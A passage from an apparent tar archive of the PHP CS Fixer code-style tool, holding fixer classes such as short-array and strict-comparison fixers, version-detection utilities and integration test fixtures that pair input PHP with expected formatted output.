        // should be run after the ConcatWithoutSpacesFixer
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/ShortArraySyntaxFixer.php000066600000002313151456236460020532 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ShortArraySyntaxFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_ARRAY) as $index => $token) {
            $openIndex = $tokens->getNextTokenOfKind($index, array('('));
            $closeIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $openIndex);

            $token->clear();

            $tokens->overrideAt($openIndex, '[');
            $tokens->overrideAt($closeIndex, ']');
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHP arrays should use the PHP 5.4 short-syntax.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/StrictFixer.php000066600000002777151456236460016513 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class StrictFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        static $map = array(
            T_IS_EQUAL => array(
                'id' => T_IS_IDENTICAL,
                'content' => '===',
            ),
            T_IS_NOT_EQUAL => array(
                'id' => T_IS_NOT_IDENTICAL,
                'content' => '!==',
            ),
        );

        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            $tokenId = $token->getId();

            if (isset($map[$tokenId])) {
                $tokens->overrideAt($index, array($map[$tokenId]['id'], $map[$tokenId]['content'], $token->getLine()));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Comparison should be strict. Warning! This could change code behavior.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the StandardizeNotEqualFixer
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/HeaderCommentFixer.php000066600000007137151456236460017751 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Antonio J. García Lagar <aj@garcialagar.es>
 */
class HeaderCommentFixer extends AbstractFixer
{
    private static $header = '';
    private static $headerComment = '';

    /**
     * Sets the desired header text.
     *
     * The given text will be trimmed and enclosed into a multiline comment.
     * If the text is empty, when a file get fixed, the header comment will be
     * erased.
     *
     * @param string $header
     */
    public static function setHeader($header)
    {
        self::$header = trim((string) $header);
        self::$headerComment = '';

        if ('' !== self::$header) {
            self::$headerComment = self::encloseTextInComment(self::$header);
        }
    }

    /**
     * @return string
     */
    public static function getHeader()
    {
        return self::$header;
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        if (!$tokens[0]->isGivenKind(T_OPEN_TAG) || !$tokens->isMonolithicPhp()) {
            return $content;
        }

        $this->removeHeaderComment($tokens);
        $insertionIndex = $this->findHeaderCommentInsertionIndex($tokens);
        $tokens->clearRange(1, $insertionIndex - 1);
        $this->insertHeaderComment($tokens, $insertionIndex);

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Add, replace or remove header comment.';
    }

    /**
     * Encloses the given text in a comment block.
     *
     * @param string $header
     *
     * @return string
     */
    private static function encloseTextInComment($header)
    {
        $comment = "/*\n";
        $lines = explode("\n", str_replace("\r", '', $header));
        foreach ($lines as $line) {
            $comment .= rtrim(' * '.$line)."\n";
        }
        $comment .= ' */';

        return $comment;
    }

    /**
     * Removes the header comment, if any.
     *
     * @param Tokens $tokens
     */
    private function removeHeaderComment(Tokens $tokens)
    {
        $index = $tokens->getNextNonWhitespace(0);
        if (null !== $index && $tokens[$index]->isGivenKind(T_COMMENT)) {
            $tokens[$index]->clear();
        }
    }

    /**
     * Finds the index where the header comment must be inserted.
     *
     * @param Tokens $tokens
     *
     * @return int
     */
    private function findHeaderCommentInsertionIndex(Tokens $tokens)
    {
        $index = $tokens->getNextNonWhitespace(0);

        if (null === $index) {
            //Empty file, insert at the end
            $index = $tokens->getSize();
        }

        return $index;
    }

    /**
     * Inserts the header comment at the given index.
     *
     * @param Tokens $tokens
     * @param int    $index
     */
    private function insertHeaderComment(Tokens $tokens, $index)
    {
        $headCommentTokens = array(
            new Token(array(T_WHITESPACE, "\n")),
        );

        if ('' !== self::$headerComment) {
            $headCommentTokens[] = new Token(array(T_COMMENT, self::$headerComment));
            $headCommentTokens[] = new Token(array(T_WHITESPACE, "\n\n"));
        }

        $tokens->insertAt($index, $headCommentTokens);
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/PhpUnitConstructFixer.php000066600000010247151456236460020526 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
final class PhpUnitConstructFixer extends AbstractFixer
{
    private $configuration = array(
        'assertSame' => true,
        'assertEquals' => true,
        'assertNotEquals' => true,
        'assertNotSame' => true,
    );

    private $assertionFixers = array(
        'assertSame' => 'fixAssertPositive',
        'assertEquals' => 'fixAssertPositive',
        'assertNotEquals' => 'fixAssertNegative',
        'assertNotSame' => 'fixAssertNegative',
    );

    public function configure(array $usingMethods)
    {
        foreach ($usingMethods as $method => $fix) {
            if (!isset($this->configuration[$method])) {
                throw new \InvalidArgumentException();
            }

            $this->configuration[$method] = $fix;
        }
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        // no assertions to be fixed - fast return
        if (!in_array(true, $this->configuration, true)) {
            return $content;
        }

        $tokens = Tokens::fromCode($content);

        foreach ($this->configuration as $assertionMethod => $assertionShouldBeFixed) {
            if (true !== $assertionShouldBeFixed) {
                continue;
            }

            $assertionFixer = $this->assertionFixers[$assertionMethod];

            for ($index = 0, $limit = $tokens->count(); $index < $limit; ++$index) {
                $index = $this->$assertionFixer($tokens, $index, $assertionMethod);

                if (null === $index) {
                    break;
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHPUnit assertion method calls like "->assertSame(true, $foo)" should be written with dedicated method like "->assertTrue($foo)". Warning! This could change code behavior.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the PhpUnitStrictFixer
        return -10;
    }

    private function fixAssertNegative(Tokens $tokens, $index, $method)
    {
        static $map = array(
            'false' => 'assertNotFalse',
            'null' => 'assertNotNull',
            'true' => 'assertNotTrue',
        );

        return $this->fixAssert($map, $tokens, $index, $method);
    }

    private function fixAssertPositive(Tokens $tokens, $index, $method)
    {
        static $map = array(
            'false' => 'assertFalse',
            'null' => 'assertNull',
            'true' => 'assertTrue',
        );

        return $this->fixAssert($map, $tokens, $index, $method);
    }

    private function fixAssert(array $map, Tokens $tokens, $index, $method)
    {
        $sequence = $tokens->findSequence(
            array(
                array(T_VARIABLE, '$this'),
                array(T_OBJECT_OPERATOR, '->'),
                array(T_STRING, $method),
                '(',
            ),
            $index
        );

        if (null === $sequence) {
            return;
        }

        $sequenceIndexes = array_keys($sequence);
        $sequenceIndexes[4] = $tokens->getNextMeaningfulToken($sequenceIndexes[3]);
        $firstParameterToken = $tokens[$sequenceIndexes[4]];

        if (!$firstParameterToken->isNativeConstant()) {
            return;
        }

        $sequenceIndexes[5] = $tokens->getNextMeaningfulToken($sequenceIndexes[4]);

        // return if first method argument is an expression, not value
        if (!$tokens[$sequenceIndexes[5]]->equals(',')) {
            return;
        }

        $tokens[$sequenceIndexes[2]]->setContent($map[$firstParameterToken->getContent()]);
        $tokens->clearRange($sequenceIndexes[4], $tokens->getNextNonWhitespace($sequenceIndexes[5]) - 1);

        return $sequenceIndexes[5];
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/NoBlankLinesBeforeNamespaceFixer.php000066600000002012151456236460022500 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractLinesBeforeNamespaceFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class NoBlankLinesBeforeNamespaceFixer extends AbstractLinesBeforeNamespaceFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if ($token->isGivenKind(T_NAMESPACE)) {
                $this->fixLinesBeforeNamespace($tokens, $index, 1);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There should be no blank lines before a namespace declaration.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Contrib/StrictParamFixer.php000066600000007412151456236460017463 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class StrictParamFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        static $map = null;

        if (null === $map) {
            $trueToken = new Token(array(T_STRING, 'true'));

            $map = array(
                'in_array' => array(null, null, $trueToken),
                'base64_decode' => array(null, $trueToken),
                'array_search' => array(null, null, $trueToken),
                'array_keys' => array(null, null, $trueToken),
                'mb_detect_encoding' => array(null, array(new Token(array(T_STRING, 'mb_detect_order')), new Token('('), new Token(')')), $trueToken),
            );
        }

        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if ($token->isGivenKind(T_STRING) && isset($map[$token->getContent()])) {
                $this->fixFunction($tokens, $index, $map[$token->getContent()]);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Functions should be used with $strict param. Warning! This could change code behavior.';
    }

    private function fixFunction(Tokens $tokens, $functionIndex, array $functionParams)
    {
        $startBraceIndex = $tokens->getNextTokenOfKind($functionIndex, array('('));
        $endBraceIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startBraceIndex);
        $commaCounter = 0;
        $sawParameter = false;

        for ($index = $startBraceIndex + 1; $index < $endBraceIndex; ++$index) {
            $token = $tokens[$index];

            if (!$token->isWhitespace() && !$token->isComment()) {
                $sawParameter = true;
            }

            if ($token->equals('(')) {
                $index = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);
                continue;
            }

            if ($token->equals('[')) {
                $index = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $index);
                continue;
            }

            if ($token->equals(',')) {
                ++$commaCounter;
                continue;
            }
        }

        $functionParamsQuantity = count($functionParams);
        $paramsQuantity = ($sawParameter ? 1 : 0) + $commaCounter;

        if ($paramsQuantity === $functionParamsQuantity) {
            return;
        }

        $tokensToInsert = array();
        for ($i = $paramsQuantity; $i < $functionParamsQuantity; ++$i) {
            // function call do not have all params that are required to set useStrict flag, exit from method!
            if (!$functionParams[$i]) {
                return;
            }

            $tokensToInsert[] = new Token(',');
            $tokensToInsert[] = new Token(array(T_WHITESPACE, ' '));

            if (!is_array($functionParams[$i])) {
                $tokensToInsert[] = clone $functionParams[$i];
                continue;
            }

            foreach ($functionParams[$i] as $param) {
                $tokensToInsert[] = clone $param;
            }
        }

        $beforeEndBraceIndex = $tokens->getPrevNonWhitespace($endBraceIndex, array());
        $tokens->insertAt($beforeEndBraceIndex + 1, $tokensToInsert);
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR1/ShortTagFixer.php000066600000006151151456236460016111 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR1;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR1 ¶2.1.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ShortTagFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        // replace all <? with <?php to replace all short open tags even without short_open_tag option enabled
        $newContent = preg_replace('/<\?(\s|$)/', '<?php$1', $content, -1, $count);

        if (0 === $count) {
            return $content;
        }

        /* the following code is magic to revert previous replacements which should NOT be replaced, for example incorrectly replacing
         * > echo '<? ';
         * with
         * > echo '<?php ';
        */
        $tokens = Tokens::fromCode($newContent);
        $tokensOldContent = '';
        $tokensOldContentLength = 0;

        foreach ($tokens as $token) {
            if ($token->isGivenKind(T_OPEN_TAG)) {
                $tokenContent = $token->getContent();

                if ('<?php' !== substr($content, $tokensOldContentLength, 5)) {
                    $tokenContent = '<? ';
                }

                $tokensOldContent .= $tokenContent;
                $tokensOldContentLength += strlen($tokenContent);
                continue;
            }

            if ($token->isGivenKind(array(T_COMMENT, T_DOC_COMMENT, T_CONSTANT_ENCAPSED_STRING, T_ENCAPSED_AND_WHITESPACE, T_STRING))) {
                $tokenContent = '';
                $tokenContentLength = 0;
                $parts = explode('<?php', $token->getContent());
                $iLast = count($parts) - 1;

                foreach ($parts as $i => $part) {
                    $tokenContent .= $part;
                    $tokenContentLength += strlen($part);

                    if ($i !== $iLast) {
                        if ('<?php' === substr($content, $tokensOldContentLength + $tokenContentLength, 5)) {
                            $tokenContent .= '<?php';
                            $tokenContentLength += 5;
                        } else {
                            $tokenContent .= '<?';
                            $tokenContentLength += 2;
                        }
                    }
                }

                $token->setContent($tokenContent);
            }

            $tokensOldContent .= $token->getContent();
            $tokensOldContentLength += strlen($token->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHP code must use the long <?php ?> tags or the short-echo <?= ?> tags; it must not use the other tag variations.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // must run before all Token-based fixers
        return 98;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR1/EncodingFixer.php000066600000002223151456236460016100 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR1;

use Symfony\CS\AbstractFixer;

/**
 * Fixer for rules defined in PSR1 ¶2.2.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class EncodingFixer extends AbstractFixer
{
    private $BOM;

    public function __construct()
    {
        $this->BOM = pack('CCC', 0xef, 0xbb, 0xbf);
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        if (0 === strncmp($content, $this->BOM, 3)) {
            return substr($content, 3);
        }

        return $content;
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHP code MUST use only UTF-8 without BOM (remove BOM).';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // must run first (at least before Fixers that using Tokens) - for speed reason of whole fixing process
        return 100;
    }
}
php-cs-fixer/Symfony/CS/ToolInfo.php000066600000004675151456236460013320 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * Obtain information about using version of tool.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ToolInfo
{
    const COMPOSER_INSTALLED_FILE = '/../../composer/installed.json';
    const COMPOSER_PACKAGE_NAME = 'fabpot/php-cs-fixer';

    public static function getComposerVersion()
    {
        static $result;

        if (!self::isInstalledByComposer()) {
            throw new \LogicException('Can not get composer version for tool not installed by composer.');
        }

        if (null === $result) {
            $composerInstalled = json_decode(file_get_contents(self::getScriptDir().self::COMPOSER_INSTALLED_FILE), true);

            foreach ($composerInstalled as $package) {
                if (self::COMPOSER_PACKAGE_NAME === $package['name']) {
                    $result = $package['version'].'#'.$package['dist']['reference'];
                    break;
                }
            }
        }

        return $result;
    }

    private static function getScriptDir()
    {
        static $result;

        if (null === $result) {
            $script = $_SERVER['SCRIPT_NAME'];

            if (is_link($script)) {
                $linkTarget = readlink($script);

                // If the link target is relative to the link
                if (false === realpath($linkTarget)) {
                    $linkTarget = dirname($script).'/'.$linkTarget;
                }

                $script = $linkTarget;
            }

            $result = dirname($script);
        }

        return $result;
    }

    public static function getVersion()
    {
        if (self::isInstalledByComposer()) {
            return Fixer::VERSION.':'.self::getComposerVersion();
        }

        return Fixer::VERSION;
    }

    public static function isInstalledAsPhar()
    {
        static $result;

        if (null === $result) {
            $result = 'phar://' === substr(__DIR__, 0, 7);
        }

        return $result;
    }

    public static function isInstalledByComposer()
    {
        static $result;

        if (null === $result) {
            $result = !self::isInstalledAsPhar() && file_exists(self::getScriptDir().self::COMPOSER_INSTALLED_FILE);
        }

        return $result;
    }
}
php-cs-fixer/Symfony/CS/UniqueFileIterator.php000066600000001453151456236460015336 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\Component\Finder\SplFileInfo;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 *
 * @internal
 */
final class UniqueFileIterator extends \FilterIterator
{
    private $visitedElements = array();

    public function accept()
    {
        /** @var SplFileInfo $file */
        $file = $this->current();

        $path = $file->getRealPath();

        if (isset($this->visitedElements[$path])) {
            return false;
        }

        $this->visitedElements[$path] = true;

        return !$file->isDir() && !$file->isLink();
    }
}
php-cs-fixer/Symfony/CS/ConfigAwareInterface.php000066600000000760151456236460015564 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * @author Jordi Boggiano <j.boggiano@seld.be>
 */
interface ConfigAwareInterface
{
    /**
     * Sets the active config on the fixer.
     *
     * @param ConfigInterface $config
     */
    public function setConfig(ConfigInterface $config);
}
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/trailing_spaces,unneeded_control_parentheses.test000066600000000713151456236460030236 0ustar00--TEST--
Integration of fixers: trailing_spaces,unneeded_control_parentheses.
--CONFIG--
level=none
fixers=trailing_spaces,unneeded_control_parentheses
--INPUT--
<?php
return (
    0 === strpos($method->name, 'get') &&
    3 < strlen($method->name) &&
    0 === $method->getNumberOfRequiredParameters()
);

--EXPECT--
<?php
return
    0 === strpos($method->name, 'get') &&
    3 < strlen($method->name) &&
    0 === $method->getNumberOfRequiredParameters()
;
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/align_equals,operators_spaces.test000066600000000423151456236460025155 0ustar00--TEST--
Integration of fixers: align_equals,operators_spaces.
--CONFIG--
level=none
fixers=align_equals,operators_spaces
--INPUT--
<?php
$FOO€BARí= 123;
$FOO€BARíBAZ= 123;
$FOO = 123;

--EXPECT--
<?php
$FOO€BARí    = 123;
$FOO€BARíBAZ = 123;
$FOO         = 123;
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/PHP7.test000066600000006624151456236460017667 0ustar00--TEST--
PHP 7 test.
--CONFIG--
level=symfony
fixers=ordered_use
--REQUIREMENTS--
php=7.0
--INPUT--
<?php

// strict types
declare(strict_types = 1);

// new imports
use some\a\{ClassA, ClassB, ClassC as C};
use function some\a\{fn_a, fn_b, fn_c};
use const some\a\{ConstA, ConstB, ConstC};

function dummyUsage()
{
    // class' class const
    echo ClassA::class . ClassB::class . C::class;

    fn_a(fn_b(fn_c()));

    echo ConstA . ConstB . ConstC;
}

interface FooInterface
{

}

class Foo implements FooInterface
{
    // semi-reserved keyword as const
    const FOR = 1;

    // array const
    const ARR = array(1, 2);

    // semi-reserved keyword as function name
    public function list($a,$b)
    {
        // combined comparison operator
        echo $a<=>$b;

        // isset ternary
        echo $a??$b;

        // new random generator
        // TODO: on 2.x line add random_api_migration usage
        echo mt_rand(0, 1);

        // uniform variable syntax
        $a = array('b' => 'c');
        $c = 'Next step !';
        echo ${$a['b']};

        // uniform variable syntax on function
        $this->getFnc()();
    }

    // scalar typehinting
    public function bar(int $a): string
    {
    }

    public function getFnc()
    {
        return function () { echo 1; };
    }

    public function gen1()
    {
        yield 1;

        // generator delegation
        yield from $this->gen2();
    }

    public function gen2()
    {
        yield 2;
    }
}

// anonymous class
$message = (new class {});
$message = (new class() implements FooInterface {});
if (1) {
  $message = (new class() extends Foo{ public function bar() { echo 1; } });
}

// unicode escape
echo "\u{26C4}";

--EXPECT--
<?php

// strict types
declare (strict_types = 1);

// new imports
use some\a\ClassA;
use some\a\ClassB;
use some\a\ClassC as C;
use const some\a\ConstA;
use const some\a\ConstB;
use const some\a\ConstC;
use function some\a\fn_a;
use function some\a\fn_b;
use function some\a\fn_c;

function dummyUsage()
{
    // class' class const
    echo ClassA::class.ClassB::class.C::class;

    fn_a(fn_b(fn_c()));

    echo ConstA.ConstB.ConstC;
}

interface FooInterface
{
}

class Foo implements FooInterface
{
    // semi-reserved keyword as const
    const FOR = 1;

    // array const
    const ARR = array(1, 2);

    // semi-reserved keyword as function name
    public function list($a, $b)
    {
        // combined comparison operator
        echo $a <=> $b;

        // isset ternary
        echo $a ?? $b;

        // new random generator
        // TODO: on 2.x line add random_api_migration usage
        echo mt_rand(0, 1);

        // uniform variable syntax
        $a = array('b' => 'c');
        $c = 'Next step !';
        echo ${$a['b']};

        // uniform variable syntax on function
        $this->getFnc()();
    }

    // scalar typehinting
    public function bar(int $a): string
    {
    }

    public function getFnc()
    {
        return function () { echo 1; };
    }

    public function gen1()
    {
        yield 1;

        // generator delegation
        yield from $this->gen2();
    }

    public function gen2()
    {
        yield 2;
    }
}

// anonymous class
$message = (new class()
{
});
$message = (new class() implements FooInterface
{
});
if (1) {
    $message = (new class() extends Foo
    {
        public function bar()
        {
            echo 1;
        }
    });
}

// unicode escape
echo "\u{26C4}";
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/align_double_arrow,operators_spaces.test000066600000000722151456236460026351 0ustar00--TEST--
Integration of fixers: align_double_arrow,operators_spaces.
--CONFIG--
level=none
fixers=align_double_arrow,operators_spaces
--INPUT--
<?php
$array = [
    '€ 1,00 (23,00% IVA incluído)'=> 1,
    '€ 3.542,90 (23,00% IVA incluído)'=> 3543,
    '€ 4.200,00' => 4200,
];

--EXPECT--
<?php
$array = [
    '€ 1,00 (23,00% IVA incluído)'     => 1,
    '€ 3.542,90 (23,00% IVA incluído)' => 3543,
    '€ 4.200,00'                       => 4200,
];
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/misc/php_closing_tag,short_tag.test000066600000000243151456236460025222 0ustar00--TEST--
Integration of fixers: php_closing_tag,short_tag.
--CONFIG--
level=none
fixers=php_closing_tag,short_tag
--INPUT--
<?
$a = 1;

?>
--EXPECT--
<?php
$a = 1;php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/symfony.test000066600000003074151456236460020651 0ustar00--TEST--
Symfony test
--CONFIG--
level=symfony
--INPUT--
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Acme;

/**
 * Coding standards demonstration.
 */
class FooBar
{
    const SOME_CONST = 42;

    private $fooBar;

    /**
     * @param string $dummy Some argument description
     */
    public function __construct($dummy)
    {
        $this->fooBar = $this->transformText($dummy);
    }

    /**
     * @param string $dummy   Some argument description
     * @param array  $options
     *
     * @return string|null Transformed input
     *
     * @throws \RuntimeException
     */
    private function transformText($dummy, array $options = array())
    {
        $mergedOptions = array_merge(
            array(
                'some_default' => 'values',
                'another_default' => 'more values',
            ),
            $options
        );

        if (true === $dummy) {
            return;
        }

        if ('string' === $dummy) {
            if ('values' === $mergedOptions['some_default']) {
                return substr($dummy, 0, 5);
            }

            return ucwords($dummy);
        }

        throw new \RuntimeException(sprintf('Unrecognized dummy option "%s"', $dummy));
    }

    private function reverseBoolean($value = null, $theSwitch = false)
    {
        if (!$theSwitch) {
            return;
        }

        return !$value;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/echo_to_print,short_echo_tag.test000066600000000354151456236460024764 0ustar00--TEST--
Integration of fixers: echo_to_print,short_echo_tag.
--CONFIG--
level=none
fixers=echo_to_print,short_echo_tag
--REQUIREMENTS--
php=5.4
hhvm=false
--INPUT--
<div><?= "test" ?></div>

--EXPECT--
<div><?php print "test" ?></div>
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/imports.test000066600000000576151456236460020646 0ustar00--TEST--
Integration of fixers: multiple_use,remove_leading_slash_use,remove_lines_between_uses,ordered_use.
--CONFIG--
level=none
fixers=multiple_use,remove_leading_slash_use,remove_lines_between_uses,ordered_use
--INPUT--
<?php

namespace Acme;

use \Foo;
use BBB\Bar;

use Abc, \Barr, \Zzzz;

--EXPECT--
<?php

namespace Acme;

use Abc;
use Barr;
use BBB\Bar;
use Foo;
use Zzzz;
CS/Tests/Fixtures/Integration/priority/blankline_after_open_tag,no_blank_lines_before_namespace.test000066600000000407151456236460034250 0ustar00php-cs-fixer/Symfony--TEST--
Integration of fixers: blankline_after_open_tag,no_blank_lines_before_namespace.
--CONFIG--
level=none
fixers=blankline_after_open_tag,no_blank_lines_before_namespace
--INPUT--
<?php

namespace A;

class A
{
}

--EXPECT--
<?php
namespace A;

class A
{
}
php-cs-fixer/Symfony/CS/Tests/Fixtures/Integration/psr2.test000066600000001753151456236460020035 0ustar00--TEST--
PSR2 integration
--CONFIG--
level=psr2
--INPUT--
<?php
namespace Vendor\Package;
use FooInterface;
use BarClass as Bar;
use OtherVendor\OtherPackage\BazClass;
class Foo extends Bar implements FooInterface{
    public function sampleFunction($a, $b = null)
    {
        if ($a === $b) {
            bar();
        } elseif ($a > $b) {
            $foo->bar($arg1);
        } else {
                BazClass::bar($arg2, $arg3);
        }
    }

    static public  final function bar() {
    // method body
    }
}
--EXPECT--
<?php
namespace Vendor\Package;

use FooInterface;
use BarClass as Bar;
use OtherVendor\OtherPackage\BazClass;

class Foo extends Bar implements FooInterface
{
    public function sampleFunction($a, $b = null)
    {
        if ($a === $b) {
            bar();
        } elseif ($a > $b) {
            $foo->bar($arg1);
        } else {
            BazClass::bar($arg2, $arg3);
        }
    }

    final public static function bar()
    {
        // method body
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixtures/FixerTest/encoding/test-utf8.case2-bom.php000066600000000031151456236460023575 0ustar00abc
<?php

echo 'ą';
php-cs-fixer/Symfony/CS/Tests/Fixtures/FixerTest/encoding/test-utf8.case1-bom.php000066600000000025151456236460023577 0ustar00<?php

echo 'ą';
php-cs-fixer/Symfony/CS/Tests/Fixtures/FixerTest/encoding/test-utf8.case1.php000066600000000022151456236460023021 0ustar00<?php

echo 'ą';
php-cs-fixer/Symfony/CS/Tests/Fixtures/FixerTest/encoding/test-utf8.case2.php000066600000000026151456236460023026 0ustar00abc
<?php

echo 'ą';
php-cs-fixer/Symfony/CS/Tests/Fixtures/FixerTest/somefile.php000066600000000147151456236460020210 0ustar00<?php

namespace Test\AAaa;

class test
{
    var $testA;
    public $test_B;
        public $testC;
}
php-cs-fixer/Symfony/CS/Tests/Fixtures/FinderDirectory/somefile.php000066600000000000151456236460021353 0ustar00php-cs-fixer/Symfony/CS/Tests/Tokenizer/TransformersTest.php000066600000004114151456236460020154 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Tokenizer;

use Symfony\CS\Tokenizer\TransformerInterface;
